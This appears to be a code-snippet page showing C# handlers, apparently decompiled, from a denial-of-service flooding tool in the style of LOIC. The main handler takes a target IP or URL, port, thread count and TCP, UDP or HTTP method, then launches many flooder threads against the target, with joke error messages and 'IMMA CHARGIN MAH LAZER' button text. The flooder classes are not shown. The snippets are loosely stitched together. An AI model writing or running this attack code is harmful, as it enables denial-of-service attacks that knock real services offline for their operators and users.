Beispiel #1
0
        /// <summary>
        /// What the f**k?
        /// </summary>
        /// <param name="message">Message.</param>
        /// <param name="silent">If set to <c>true</c> silent.</param>
        private void Wtf(string message, bool silent = false)
        {
            if (silent)
            {
                return;
            }

            using (Form frmWtf = new frmWtf()) {
                frmWtf.Show();
                MessageBox.Show(message, "What the shit.");
            }
        }
 private void cmdAttack_Click(object sender, EventArgs e)
 {
   if (!this.attack)
   {
     this.attack = true;
     try
     {
       frmMain.sIP = this.txtTarget.Text;
       if (!int.TryParse(this.txtPort.Text, out frmMain.iPort))
         throw new Exception("I don't think ports are supposed to be written like THAT.");
       if (!int.TryParse(this.txtThreads.Text, out frmMain.iThreads))
         throw new Exception("What on earth made you put THAT in the threads field?");
       if (string.IsNullOrEmpty(this.txtTarget.Text) || string.Equals(this.txtTarget.Text, "N O N E !"))
         throw new Exception("Select a target.");
       frmMain.iProtocol = 0;
       switch (this.cbMethod.Text)
       {
         case "TCP":
           frmMain.iProtocol = 1;
           break;
         case "UDP":
           frmMain.iProtocol = 2;
           break;
         case "HTTP":
           frmMain.iProtocol = 3;
           break;
         default:
           throw new Exception("Select a proper attack method.");
       }
       frmMain.sData = this.txtData.Text.Replace("\\r", "\r").Replace("\\n", "\n");
       if (string.IsNullOrEmpty(frmMain.sData) && (frmMain.iProtocol == 1 || frmMain.iProtocol == 2))
         throw new Exception("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O");
       if (!this.txtSubsite.Text.StartsWith("/") && frmMain.iProtocol == 3)
         throw new Exception("You have to enter a subsite (for example \"/\")");
       frmMain.sSubsite = this.txtSubsite.Text;
       if (!int.TryParse(this.txtTimeout.Text, out frmMain.iTimeout))
         throw new Exception("What's up with something like that in the timeout box? =S");
       frmMain.bResp = this.chkResp.Checked;
     }
     catch (Exception ex)
     {
       using (frmWtf frmWtf = new frmWtf())
       {
         frmWtf.Show();
         int num = (int) MessageBox.Show(ex.Message, "What the shit.");
       }
       this.attack = false;
       return;
     }
     this.cmdAttack.Text = "Stop flooding";
     if (!this.browser)
     {
       try
       {
         this.cBrowser.Navigate("https://j.mp/loicweb");
       }
       finally
       {
         this.browser = true;
       }
     }
     switch (frmMain.iProtocol)
     {
       case 1:
       case 2:
         frmMain.arr = (IFlooder[]) Enumerable.ToArray<XXPFlooder>(Enumerable.Select<int, XXPFlooder>(Enumerable.Range(0, frmMain.iThreads), (Func<int, XXPFlooder>) (i => new XXPFlooder(frmMain.sIP, frmMain.iPort, frmMain.iProtocol, frmMain.iDelay, frmMain.bResp, frmMain.sData))));
         break;
       case 3:
         frmMain.arr = (IFlooder[]) Enumerable.ToArray<HTTPFlooder>(Enumerable.Select<int, HTTPFlooder>(Enumerable.Range(0, frmMain.iThreads), (Func<int, HTTPFlooder>) (i => new HTTPFlooder(frmMain.sIP, frmMain.iPort, frmMain.sSubsite, frmMain.bResp, frmMain.iDelay, frmMain.iTimeout))));
         break;
     }
     foreach (IFlooder flooder in frmMain.arr)
       flooder.Start();
     this.tShowStats.Start();
   }
   else
   {
     this.attack = false;
     this.cmdAttack.Text = "IMMA CHARGIN MAH LAZER";
     foreach (IFlooder flooder in frmMain.arr)
       flooder.Stop();
     this.tShowStats.Stop();
     frmMain.arr = (IFlooder[]) null;
   }
 }
 private void cmdTargetURL_Click(object sender, EventArgs e)
 {
   string uriString = this.txtTargetURL.Text.ToLower();
   if (uriString.Length == 0)
   {
     using (frmWtf frmWtf = new frmWtf())
     {
       frmWtf.Show();
       int num = (int) MessageBox.Show("A URL is fine too...", "What the shit.");
     }
   }
   else
   {
     if (!uriString.StartsWith("http://"))
     {
       if (!uriString.StartsWith("https://"))
         uriString = "http://" + uriString;
     }
     try
     {
       IPAddress[] addressList = Dns.GetHostEntry(new Uri(uriString).Host).AddressList;
       this.txtTarget.Text = (addressList.Length > 1 ? (object) addressList[new Random().Next(addressList.Length)] : (object) Enumerable.First<IPAddress>((IEnumerable<IPAddress>) addressList)).ToString();
     }
     catch
     {
       using (frmWtf frmWtf = new frmWtf())
       {
         frmWtf.Show();
         int num = (int) MessageBox.Show("Write the complete address", "What the shit.");
       }
     }
   }
 }
 private void cmdTargetIP_Click(object sender, EventArgs e)
 {
   if (this.txtTargetIP.Text.Length == 0)
   {
     using (frmWtf frmWtf = new frmWtf())
     {
       frmWtf.Show();
       int num = (int) MessageBox.Show("I think you forgot the IP.", "What the shit.");
     }
   }
   else
     this.txtTarget.Text = this.txtTargetIP.Text;
 }